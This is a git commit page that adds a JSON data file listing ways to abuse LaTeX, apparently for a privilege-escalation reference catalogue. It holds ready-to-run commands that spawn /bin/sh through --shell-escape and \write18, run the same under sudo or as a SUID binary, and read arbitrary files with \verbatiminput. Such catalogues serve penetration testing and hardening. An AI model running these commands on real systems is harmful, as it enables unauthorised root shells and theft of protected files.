add data source for latex

master
Mr. Robot 3 years ago committed by GitHub
parent e7bad6141b
commit 1d28ab61f9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,29 @@
{
"functions": {
"shell": [
{
"code": "latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"file-read": [
{
"description": "The read file will be part of the output.",
"code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
}
],
"sudo": [
{
"description": "The read file will be part of the output.",
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
},
{
"code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"limited-suid": [
{
"code": "./latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
]
}
}
Loading…
Cancel
Save